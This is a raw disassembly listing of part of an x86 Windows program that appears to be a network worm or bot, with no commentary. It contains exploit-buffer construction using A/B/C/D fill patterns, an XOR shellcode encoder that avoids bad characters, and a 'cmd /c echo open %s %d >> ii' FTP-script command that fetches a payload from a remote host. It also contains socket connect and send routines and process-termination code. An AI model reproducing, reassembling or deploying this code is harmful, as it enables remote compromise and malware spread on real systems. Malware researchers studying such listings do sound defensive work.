--------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424760 proc near ; CODE XREF: sub_4014FBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push eax push edx call sub_4012C6 retn 8 sub_424760 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424790 proc near ; CODE XREF: sub_4017CBj var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push esi mov esi, ecx call sub_4010A0 test al, al jnz short loc_4247A4 pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_4247A4: ; CODE XREF: sub_424790+Dj mov eax, [esi+4] mov ecx, [esi] push eax push ecx push 1 push offset dword_444B94 lea ecx, [esp+1Ch+var_8] call sub_4021D5 mov ecx, esi call sub_4016B8 mov edx, [esp+0Ch+var_8] mov eax, [esp+0Ch+var_4] mov [esi], edx mov [esi+4], eax mov al, 1 pop esi add esp, 8 retn sub_424790 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424800 proc near ; CODE XREF: sub_401EABj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] push ecx mov ecx, esi call sub_4014FB test al, al jnz short loc_42481C pop esi retn 8 ; --------------------------------------------------------------------------- loc_42481C: ; CODE XREF: sub_424800+16j mov ecx, esi call sub_4017CB pop esi retn 8 sub_424800 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424840 proc near ; CODE XREF: sub_401BEAj var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = dword ptr -84Ch var_848 = dword ptr -848h var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_804 = dword ptr -804h var_800 = byte ptr -800h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 858h lea ecx, [esp+858h+var_818] push ebx push esi call sub_4012A8 mov esi, [esp+860h+arg_8] cmp esi, 408h jg loc_424C15 mov ebx, [esp+860h+arg_10] lea eax, [ebx+8] cmp eax, 408h ja loc_424C15 push edi lea ecx, [esp+864h+var_830] call sub_4012A8 lea ecx, [esp+864h+var_840] call sub_4012A8 lea ecx, [esp+864h+var_810] call sub_4012A8 lea ecx, [esp+864h+var_848] call sub_4012A8 lea ecx, [esp+864h+var_820] call sub_4012A8 lea ecx, [esp+864h+var_828] call sub_4012A8 lea ecx, [esp+864h+var_838] call sub_4012A8 push 4 push offset dword_444830 lea ecx, [esp+86Ch+var_830] call sub_4012C6 push 3 push offset dword_444838 lea ecx, [esp+86Ch+var_830] call sub_4012C6 lea ecx, [esp+864h+var_830] call sub_401B68 lea ecx, [esp+864h+var_830] call sub_4017CB mov ecx, 200h mov eax, 42424242h lea edi, [esp+864h+var_800] push 8 rep stosd push offset aRbrbrbrb ; "BBBB" lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ecx, [esp+864h+arg_C] push ebx push ecx lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ebx, [esp+864h+var_83C] mov edx, 409h sub edx, ebx lea eax, [esp+864h+var_800] push edx push eax lea ecx, [esp+86Ch+var_840] call sub_4012C6 lea ecx, [esp+864h+var_840] call sub_401B68 push offset loc_444BB8 lea ecx, [esp+868h+var_810] call sub_402036 lea ecx, [esp+864h+var_810] call sub_401B68 mov ecx, 200h mov eax, 44444444h lea edi, [esp+864h+var_800] push 410h rep stosd lea ecx, [esp+868h+var_800] push ecx lea ecx, [esp+86Ch+var_808] call sub_401834 lea ecx, [esp+864h+var_808] call sub_401B68 mov edx, [esp+864h+var_804] mov eax, [esp+864h+var_808] push edx push eax lea ecx, [esp+86Ch+var_810] call sub_401EAB lea ecx, [esp+864h+var_808] call sub_4016B8 mov ecx, 200h mov eax, 43434343h lea edi, [esp+864h+var_800] push offset aCccc ; "CCCC" rep stosd lea ecx, [esp+868h+var_848] call sub_402036 push 4 push offset dword_44483C lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov ecx, [esp+864h+arg_4] push esi push ecx lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov edx, 408h lea eax, [esp+864h+var_800] sub edx, esi lea ecx, [esp+864h+var_848] push edx push eax call sub_4012C6 lea ecx, [esp+864h+var_848] call sub_401B68 mov ecx, [esp+864h+var_844] mov edx, [esp+864h+var_848] push ecx push edx lea ecx, [esp+86Ch+var_820] call sub_4014FB mov eax, [esp+864h+var_80C] mov ecx, [esp+864h+var_810] push eax push ecx lea ecx, [esp+86Ch+var_820] call sub_4014FB lea ecx, [esp+864h+var_820] call sub_4017CB lea ecx, [esp+864h+var_848] call sub_4016B8 lea ecx, [esp+864h+var_810] call sub_4016B8 mov edx, [esp+864h+var_83C] mov eax, [esp+864h+var_840] push edx push eax lea ecx, [esp+86Ch+var_828] call sub_4014FB mov ecx, [esp+864h+var_82C] mov edx, [esp+864h+var_830] push ecx push edx lea ecx, [esp+86Ch+var_828] call sub_4014FB mov eax, [esp+864h+var_81C] mov ecx, [esp+864h+var_820] push eax push ecx lea ecx, [esp+86Ch+var_828] call sub_4014FB lea ecx, [esp+864h+var_828] call sub_4017CB lea ecx, [esp+864h+var_840] call sub_4016B8 lea ecx, [esp+864h+var_830] call sub_4016B8 lea ecx, [esp+864h+var_820] call sub_4016B8 mov ecx, 200h mov eax, 41414141h lea edi, [esp+864h+var_800] lea edx, [esp+864h+var_800] rep stosd push 400h push edx lea ecx, [esp+86Ch+var_838] call sub_4012C6 lea ecx, [esp+864h+var_838] call sub_401B68 push 2 push offset dword_444BAC lea ecx, [esp+86Ch+var_838] call sub_4012C6 mov eax, [esp+864h+var_824] mov ecx, [esp+864h+var_828] push eax push ecx lea ecx, [esp+86Ch+var_838] call sub_4014FB lea ecx, [esp+864h+var_838] call sub_4017CB lea ecx, [esp+864h+var_828] call sub_4016B8 lea ecx, [esp+864h+var_850] call sub_4012A8 lea ecx, [esp+864h+var_858] call sub_4012A8 mov edx, [esp+864h+var_834] mov eax, [esp+864h+var_838] push edx push eax lea ecx, [esp+86Ch+var_850] call sub_4014FB lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_838] call sub_4016B8 push offset dword_444BA8 lea ecx, [esp+868h+var_858] call sub_402036 mov ecx, [esp+864h+var_84C] mov edx, [esp+864h+var_850] push ecx push edx lea ecx, [esp+86Ch+var_858] call sub_4014FB lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016B8 push offset dword_443E80 lea ecx, [esp+868h+var_850] call sub_402036 mov eax, [esp+864h+var_854] mov ecx, [esp+864h+var_858] push eax push ecx lea ecx, [esp+86Ch+var_850] call sub_4014FB lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_858] call sub_4016B8 push offset dword_444B9C lea ecx, [esp+868h+var_858] call sub_402036 mov edx, [esp+864h+var_84C] mov eax, [esp+864h+var_850] push edx push eax lea ecx, [esp+86Ch+var_858] call sub_4014FB lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016B8 push offset dword_444B98 lea ecx, [esp+868h+var_818] call sub_402036 mov ecx, [esp+864h+var_854] mov edx, [esp+864h+var_858] push ecx push edx lea ecx, [esp+86Ch+var_818] call sub_4014FB lea ecx, [esp+864h+var_858] call sub_4016B8 mov eax, [esp+864h+arg_0] mov ecx, [esp+864h+var_818] mov edx, [esp+864h+var_814] pop edi mov [eax], ecx pop esi mov [eax+4], edx pop ebx add esp, 858h retn ; --------------------------------------------------------------------------- loc_424C15: ; CODE XREF: sub_424840+1Ej ; sub_424840+33j mov eax, [esp+860h+arg_0] mov ecx, [esp+860h+var_818] mov edx, [esp+860h+var_814] pop esi mov [eax], ecx mov [eax+4], edx pop ebx add esp, 858h retn sub_424840 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424D40 proc near ; CODE XREF: sub_401AB4j var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 210h push esi mov esi, [esp+214h+arg_0] lea eax, [esp+214h+var_210] lea ecx, [esp+214h+var_104] push eax push ecx lea edx, [esp+21Ch+var_208] push 0 lea eax, [esi+1] push edx push eax mov [esp+228h+var_204], esi mov [esp+228h+var_208], 1 mov [esp+228h+var_100], esi mov [esp+228h+var_104], 1 mov [esp+228h+var_210], 0Ah mov [esp+228h+var_20C], 0 nop call near ptr 71AB2DC0h cmp eax, 1 jz short loc_424DA9 xor eax, eax pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424DA9: ; CODE XREF: sub_424D40+5Dj lea ecx, [esp+214h+var_208] push ecx push esi call sub_436F60 sub_424D40 endp ; --------------------------------------------------------------------------- test eax, eax jnz short loc_424DC0 pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424DC0: ; CODE XREF: ___:00424DB6j mov edx, [esp+224h] mov eax, [esp+220h] mov ecx, [esp+21Ch] push edx push eax push ecx push esi nop call near ptr 71AB615Ah pop esi add esp, 210h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424E20 proc near ; CODE XREF: sub_4012F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, [esp+8+arg_8] push edi push esi nop call near ptr 71AB2BC0h mov edi, [esp+0Ch+arg_0] mov ebx, dword_50FC8C mov [esp+0Ch+arg_8], eax push 0 lea eax, [esp+10h+arg_8] push 4 push eax push edi call ebx ; send cmp eax, 4 jz short loc_424E53 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_424E53: ; CODE XREF: sub_424E20+2Bj mov ecx, [esp+0Ch+arg_4] push 0 push esi push ecx push edi call ebx ; send xor edx, edx cmp eax, esi setz dl pop edi pop esi mov al, dl pop ebx retn sub_424E20 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424E90 proc near ; CODE XREF: sub_4012F8j var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 104h push ebx push ebp mov ebp, [esp+10Ch+arg_8] push esi lea esi, [ebp+41h] push esi mov [esp+114h+var_104], esi call near ptr 77C2C407h nop mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424EC3 pop esi pop ebp xor al, al pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424EC3: ; CODE XREF: sub_424E90+25j mov ecx, esi push edi mov edx, ecx xor eax, eax mov edi, ebx mov esi, offset dword_4448CC shr ecx, 2 rep stosd mov ecx, edx push 85h and ecx, 3 push offset dword_444844 rep stosb mov ecx, 0Bh mov edi, ebx rep movsd movsw movsb mov [ebx+2Fh], bp mov eax, dword_4448FC mov [ebx+31h], eax mov ecx, dword_444900 mov esi, [esp+11Ch+arg_4] mov [ebx+35h], ecx mov ecx, ebp lea eax, [ebx+3Bh] mov edx, ecx mov edi, eax shr ecx, 2 mov [ebx+39h], bp add eax, ebp rep movsd mov ecx, edx and ecx, 3 rep movsb mov ecx, dword_50E130 mov esi, [esp+11Ch+arg_0] mov [eax], ecx mov dx, word_50E134 push esi mov [eax+4], dx call sub_4012F3 add esp, 0Ch test al, al pop edi jnz short loc_424F68 push ebx call near ptr 77C2C21Bh nop add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424F68: ; CODE XREF: sub_424E90+C0j push 0 lea eax, [esp+114h+var_100] push 100h push eax push esi call sub_401AB4 mov ecx, [esp+120h+var_104] push ecx push ebx push esi call sub_4012F3 add esp, 1Ch test al, al jnz short loc_424FA3 push ebx nop call near ptr 77C2C21Bh add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424FA3: ; CODE XREF: sub_424E90+FBj push 0 lea edx, [esp+114h+var_100] push 100h push edx push esi call sub_401AB4 push ebx nop call near ptr 77C2C21Bh add esp, 14h mov al, 1 pop esi pop ebp pop ebx add esp, 104h retn sub_424E90 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425020 proc near ; CODE XREF: sub_401811j var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = word ptr -410h var_40E = word ptr -40Eh var_40A = dword ptr -40Ah var_406 = dword ptr -406h var_402 = word ptr -402h var_400 = byte ptr -400h var_3FF = byte ptr -3FFh var_371 = byte ptr -371h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_9E = dword ptr 0A2h sub esp, 41Ch mov ecx, 0FFh xor eax, eax push ebp push esi push edi lea edi, [esp+428h+var_3FF] rep stosd stosw stosb mov ecx, 23h mov esi, offset sub_444A70 lea edi, [esp+428h+var_400] rep movsd movsw mov ecx, offset byte_447541 movsb call sub_4017E4 push eax mov ecx, offset byte_447541 call sub_4017E4 mov ecx, [esp+42Ch+arg_0] push eax mov eax, dword_44767F push eax push ecx call sub_401DF7 add esp, 4 lea edx, [esp+434h+var_371] push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... push 400h push edx call near ptr 77C3FA76h nop add eax, 90h lea ecx, [esp+444h+var_418] push eax lea eax, [esp+448h+var_400] push eax push 164h push offset sub_444908 push ecx call sub_401BEA mov eax, [esp+458h+var_414] xor edi, edi add esp, 30h cmp eax, edi jnz short loc_4250C9 xor eax, eax pop edi pop esi pop ebp add esp, 41Ch retn ; --------------------------------------------------------------------------- loc_4250C9: ; CODE XREF: sub_425020+9Bj mov ebp, dword_50FC2C mov [esp+428h+var_41C], edi loc_4250D3: ; CODE XREF: sub_425020+158j test edi, edi jnz loc_42517E push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_425161 mov eax, [esp+428h+arg_9E] xor edx, edx mov dword ptr [esp+428h+var_40E], edx push eax mov [esp+42Ch+var_40A], edx mov [esp+42Ch+var_410], 2 mov [esp+42Ch+var_406], edx mov [esp+42Ch+var_402], dx call ebp ; ntohs lea ecx, [esp+428h+arg_4] mov [esp+428h+var_40E], ax push ecx nop call near ptr 71AB2BF4h lea edx, [esp+428h+var_410] push 10h push edx push esi mov [esp+28h], eax call near ptr 71AB406Ah nop cmp eax, 0FFFFFFFFh jz short loc_425156 mov eax, [esp+428h+var_414] mov ecx, [esp+428h+var_418] push eax push ecx push esi call sub_4012F8 add esp, 0Ch and eax, 0FFh mov edi, eax loc_425156: ; CODE XREF: sub_425020+11Aj push esi nop call near ptr 71AB9639h test edi, edi jnz short loc_42516C loc_425161: ; CODE XREF: sub_425020+CCj push 3E8h call near ptr 29B0000h nop loc_42516C: ; CODE XREF: sub_425020+13Fj mov eax, [esp+428h+var_41C] inc eax cmp eax, 2 mov [esp+428h+var_41C], eax jl loc_4250D3 loc_42517E: ; CODE XREF: sub_425020+B5j lea ecx, [esp+428h+var_418] call sub_4016B8 test edi, edi jz short loc_4251AE sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+4E4h+arg_0] mov edi, esp rep movsd movsw call sub_40114F add esp, 0BCh loc_4251AE: ; CODE XREF: sub_425020+169j pop edi pop esi mov eax, 1 pop ebp add esp, 41Ch retn sub_425020 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425230 proc near ; CODE XREF: sub_4013C5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [esp+4+arg_0] not ecx dec ecx mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx pop edi lea eax, [ecx+edx*2+0C1h] retn sub_425230 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425270 proc near ; CODE XREF: sub_40178Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_8] push esi mov esi, [esp+8+arg_C] push esi push ebx call sub_4013C5 mov ecx, [esp+10h+arg_4] add esp, 8 cmp eax, ecx mov [esp+8+arg_8], eax jbe short loc_425295 pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_425270+1Ej push ebp push edi or ecx, 0FFFFFFFFh mov edi, ebx xor eax, eax mov ebp, [esp+10h+arg_0] repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov esi, offset dword_444C98 mov eax, ecx mov edi, ebp lea ecx, [eax+edx+12h] mov dword_444CFC, ecx lea ecx, [eax+1] mov dword_444D1D, ecx lea ecx, [eax+17h] mov dword_444D15, ecx mov ecx, 0FFFFFFEDh sub ecx, eax mov dword_444D2B, ecx mov ecx, 1Dh rep movsd mov ecx, edx mov esi, ebx mov ebx, ecx lea edi, [ebp+74h] shr ecx, 2 rep movsd mov ecx, ebx add edx, 74h and ecx, 3 rep movsb mov esi, dword_444D0C lea ecx, [edx+ebp] add edx, 5 mov [ecx], esi mov bl, byte_444D10 mov esi, [esp+10h+arg_C] lea edi, [edx+ebp] mov [ecx+4], bl mov ecx, eax mov ebx, ecx add edx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov esi, dword_444D11 lea ecx, [edx+ebp] add edx, 10h mov [ecx], esi mov esi, dword_444D15 lea edi, [edx+ebp] mov [ecx+4], esi mov esi, dword_444D19 mov [ecx+8], esi mov esi, dword_444D1D mov [ecx+0Ch], esi mov esi, [esp+10h+arg_C] mov ecx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [edx+eax] mov eax, [esp+10h+arg_8] add edi, ebp mov ecx, 0Eh mov esi, offset byte_444D21 rep movsd pop edi pop ebp pop esi pop ebx retn sub_425270 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4253E0 proc near ; CODE XREF: sub_402162j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4013C5 push eax call sub_4017BC add esp, 0Ch retn sub_4253E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_425410: ; CODE XREF: ___:00401735j push ebx mov ebx, [esp+10h] push ebp push edi mov edi, [esp+1Ch] push edi push ebx call sub_402162 mov ebp, [esp+1Ch] add esp, 8 cmp eax, ebp jbe short loc_425433 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: ___:0042542Bj cmp eax, 0FFFFh jbe short loc_425440 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425440: ; CODE XREF: ___:00425438j push esi push edi push ebx call sub_4013C5 add eax, 101h push eax call near ptr 77C2C407h nop add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_4013C5 add esp, 8 push eax push esi call sub_40178A push eax mov eax, [esp+28h] push esi push ebp push eax call sub_401B77 push esi mov edi, eax nop call near ptr 77C2C21Bh add esp, 24h mov eax, edi pop esi pop edi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4254B0 proc near ; CODE XREF: sub_4017BCj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_4254B9 inc ecx loc_4254B9: ; CODE XREF: sub_4254B0+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_4254B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4254E0 proc near ; CODE XREF: sub_401B77j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_C] cmp bl, 0Ah jz short loc_4254F8 cmp bl, 0Dh jz short loc_4254F8 cmp bl, 5Ch jz short loc_4254F8 test bl, bl jnz short loc_4254F9 loc_4254F8: ; CODE XREF: sub_4254E0+8j ; sub_4254E0+Dj ... inc ebx loc_4254F9: ; CODE XREF: sub_4254E0+16j cmp ebx, 0FFh jbe short loc_42551C mov eax, ebx shr eax, 8 cmp al, 0Ah jz short loc_425516 cmp al, 0Dh jz short loc_425516 cmp al, 5Ch jz short loc_425516 test al, al jnz short loc_42551C loc_425516: ; CODE XREF: sub_4254E0+28j ; sub_4254E0+2Cj ... add ebx, 100h loc_42551C: ; CODE XREF: sub_4254E0+1Fj ; sub_4254E0+34j push ebx call sub_4017BC mov ecx, [esp+8+arg_4] add esp, 4 cmp eax, ecx mov [esp+4+arg_C], eax jbe short loc_425535 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425535: ; CODE XREF: sub_4254E0+4Fj cmp eax, 0FFFFh jbe short loc_425540 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425540: ; CODE XREF: sub_4254E0+5Aj mov al, byte_50E138 xor edx, edx push ebp mov ebp, [esp+8+arg_8] test ebx, ebx push esi jbe short loc_425570 loc_425551: ; CODE XREF: sub_4254E0+8Ej mov cl, [edx+ebp] xor cl, al jz short loc_425567 cmp cl, 0Ah jz short loc_425567 cmp cl, 0Dh jz short loc_425567 cmp cl, 5Ch jnz short loc_42556B loc_425567: ; CODE XREF: sub_4254E0+76j ; sub_4254E0+7Bj ... inc al xor edx, edx loc_42556B: ; CODE XREF: sub_4254E0+85j inc edx cmp edx, ebx jb short loc_425551 loc_425570: ; CODE XREF: sub_4254E0+6Fj cmp ebx, 0FFh push edi mov byte_50E138, al ja short loc_4255A3 mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_444C80 mov edi, edx mov byte_444C8D, bl mov byte_444C91, al rep movsd movsb mov esi, 15h jmp short loc_4255C9 ; --------------------------------------------------------------------------- loc_4255A3: ; CODE XREF: sub_4254E0+9Cj mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_444C68 mov edi, edx mov word_444C76, bx mov byte_444C7B, al rep movsd movsw movsb mov esi, 17h loc_4255C9: ; CODE XREF: sub_4254E0+C1j xor ecx, ecx pop edi test ebx, ebx jbe short loc_4255DF add esi, edx loc_4255D2: ; CODE XREF: sub_4254E0+FDj mov dl, [ecx+ebp] xor dl, al mov [esi+ecx], dl inc ecx cmp ecx, ebx jb short loc_4255D2 loc_4255DF: ; CODE XREF: sub_4254E0+EEj mov eax, [esp+0Ch+arg_C] pop esi pop ebp pop ebx retn sub_4254E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425640 proc near ; CODE XREF: sub_401E24j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx xor ecx, ecx lea eax, [eax+eax*2] mov dword_4491CF[eax*4], ecx mov dword_4491BB[eax*4], ecx mov dword_4491BF[eax*4], ecx mov dword_4491C3[eax*4], ecx mov dword_4491C7[eax*4], ecx mov dword_4491CB[eax*4], ecx mov byte_448FBB[eax*4], cl mov byte_4491D3[eax*4], cl retn sub_425640 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4256B0 proc near ; CODE XREF: sub_401370j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx push ebp xor ebx, ebx xor ebp, ebp cmp ecx, ebx jle loc_425767 cmp ecx, 400h jge loc_425767 lea eax, [ecx+ecx*2] push esi shl eax, 4 sub eax, ecx push edi push ebx lea esi, [eax+eax*2] mov eax, dword_4491CF[esi*4] push eax nop call near ptr 28E07B9h cmp dword_4491CF[esi*4], ebx jz short loc_4256F8 mov ebp, 1 loc_4256F8: ; CODE XREF: sub_4256B0+41j mov dword_4491CF[esi*4], ebx mov dword_4491BB[esi*4], ebx mov dword_4491BF[esi*4], ebx mov eax, dword_4491C3[esi*4] cmp eax, ebx jbe short loc_425721 push eax call sub_401C6C add esp, 4 loc_425721: ; CODE XREF: sub_4256B0+66j mov edi, dword_50FC88 mov dword_4491C3[esi*4], ebx mov byte_448FBB[esi*4], bl mov byte_4491D3[esi*4], bl mov ecx, dword_4491C7[esi*4] push ecx call edi ; closesocket mov dword_4491C7[esi*4], ebx mov edx, dword_4491CB[esi*4] lea esi, ds:4491CBh[esi*4] push edx call edi ; closesocket mov [esi], ebx pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_425767: ; CODE XREF: sub_4256B0+Cj ; sub_4256B0+18j mov eax, ebp pop ebp pop ebx retn sub_4256B0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4257A0 proc near ; CODE XREF: sub_401D93j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push ebp push esi push edi xor ebp, ebp xor edi, edi mov esi, offset dword_4491BF loc_4257B1: ; CODE XREF: sub_4257A0+52j mov eax, [esp+10h+arg_0] mov ecx, [esi-4] cmp ecx, eax jnz short loc_4257E5 test ebx, ebx jle short loc_4257D7 cmp [esi], ebx jz short loc_4257C8 cmp edi, ebx jnz short loc_4257E5 loc_4257C8: ; CODE XREF: sub_4257A0+22j push edi call sub_401370 add esp, 4 test eax, eax jz short loc_4257E5 jmp short loc_4257E4 ; --------------------------------------------------------------------------- loc_4257D7: ; CODE XREF: sub_4257A0+1Ej push edi call sub_401370 add esp, 4 test eax, eax jz short loc_4257E5 loc_4257E4: ; CODE XREF: sub_4257A0+35j inc ebp loc_4257E5: ; CODE XREF: sub_4257A0+1Aj ; sub_4257A0+26j ... add esi, 234h inc edi cmp esi, offset byte_4D61BF jl short loc_4257B1 pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_4257A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425820 proc near ; CODE XREF: sub_401C6Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi push eax push 0 push 1F0FFFh mov edi, 1 nop call near ptr 2900000h mov esi, eax test esi, esi jz short loc_425855 push 0 push esi nop call near ptr 2880000h test eax, eax jnz short loc_425855 push esi xor edi, edi call near ptr 29B0989h nop loc_425855: ; CODE XREF: sub_425820+1Dj ; sub_425820+2Aj mov eax, edi pop edi pop esi retn sub_425820 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425870 proc near ; CODE XREF: sub_401483j arg_0 = dword ptr 4 mov edx, [esp+arg_0] xor eax, eax mov ecx, offset dword_4491BB loc_42587B: ; CODE XREF: sub_425870+1Cj cmp [ecx], edx jnz short loc_425880 inc eax loc_425880: ; CODE XREF: sub_425870+Dj add ecx, 234h cmp ecx, offset byte_4D61BB jl short loc_42587B retn sub_425870 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4258A0 proc near ; CODE XREF: sub_401D8Ej arg_0 = dword ptr 4 mov edx, [esp+arg_0] push esi xor esi, esi xor eax, eax mov ecx, offset dword_4491BB loc_4258AE: ; CODE XREF: sub_4258A0+1Fj cmp [ecx], edx jz short loc_4258C3 add ecx, 234h inc eax cmp ecx, offset byte_4D61BB jl short loc_4258AE mov eax, esi loc_4258C3: ; CODE XREF: sub_4258A0+10j pop esi retn sub_4258A0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4258E0 proc near ; CODE XREF: sub_401BD6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset byte_448FBB loc_4258E8: ; CODE XREF: sub_4258E0+18j cmp byte ptr [eax], 0 jz short loc_4258FE add eax, 234h inc edi cmp eax, offset dword_4D5FBB jl short loc_4258E8 mov eax, edi pop edi retn ; --------------------------------------------------------------------------- loc_4258FE: ; CODE XREF: sub_4258E0+Bj lea eax, [edi+edi*2] push esi shl eax, 4 sub eax, edi push 1FFh lea eax, [eax+eax*2] lea esi, ds:448FBBh[eax*4] mov eax, [esp+0Ch+arg_0] push eax push esi nop call near ptr 77C47A90h mov ecx, [esp+14h+arg_4] mov edx, [esp+14h+arg_8] mov [esi+200h], ecx mov dword ptr 